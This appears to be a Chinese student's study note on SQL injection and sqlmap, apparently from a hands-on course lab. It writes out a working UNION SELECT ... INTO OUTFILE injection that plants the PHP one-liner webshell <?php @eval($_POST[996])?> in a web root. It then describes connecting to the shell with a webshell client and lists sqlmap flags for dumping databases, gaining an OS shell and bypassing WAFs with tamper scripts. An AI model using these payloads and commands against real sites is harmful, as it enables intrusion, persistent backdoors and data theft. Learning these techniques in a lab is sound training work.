第十周笔记—SQLmap和sql注入上传木马

目录

SQL注入

上传木马

前提:

  • 要知道网站的绝对路径
  • 具有写入权限
select 'hello world' into outfile 'c:/abcdef.txt'   --路径的斜杠用 /或者\\
--把hello world写入文件中 实战攻击语句:
select * from boy where hid='' union select 11,'hello world'into outfile
'C:/111.txt'; select user()
--查询当前用户名 http://192.168.99.171/test2/sqli/example10.php?catid='3
' union select '<?php @eval($_POST[996])?>',2,3,4
into outfile 'C:/xampp/htdocs/test2/zxh2.php' --+' --后两行为sql注入语句,写入一句话木马

用菜刀连接,网址为木马的路径(不是绝对路径)
一句话木马:<?php @eval($_POST[996])?> --密码为996
用order by(排序)语句试出有多少列

PHP学习网站:
phpstudy

SQLmap

六大模块

  • 输入
  • 输出
  • 发送数据
  • 接受数据
  • 注入点检测
  • 真正攻击模块

命令

sqlmap.py

参数

-r          //读取文件

-u          //读取网址

-v 3        //查看sql注入的命令

-flush     //清除缓存

--is-dba    //是否为dba

--os-shell  //获取系统shell

--dbs       //查看所有数据库,命令用完即删

--threads   //线程数

--current-db    //查看当前网站用的库,命令用完即删

-D "[库名]"    //使用指定库

-T "[表名]"  //使用指定表

--count         //查找有几列,命令用完即删

--colums       //查找列名,显示列名和他的类型

-C "[列名]"    //使用指定列名,可以用逗号隔开

--dump         //把指定列名dump下来,慎用,金融网站犯法

--start 1       //从第一条dump到第二条(不是从0开始取)
--stop 2

三种请求方式

参见图片

取得系统shell

自动上传木马
用x或者q退出,否则会留下木马

原理:传上去一个具有远程命令执行漏洞的页面

条件

  1. 绝对路径
  2. dba超级管理员

命令参数:

--os-shell

--web-root="[绝对路径]"     //需要上传木马的目录

sqlmap高级注入

--identify-waf      //自动测试waf防火墙

--tamper [tamper脚本名称]       //手工指定混码脚本绕过,混码:空白符用%20或者%09代替,
//脚本在sqlmap/tamper文件下,多个脚本用逗号隔开
05-11 22:55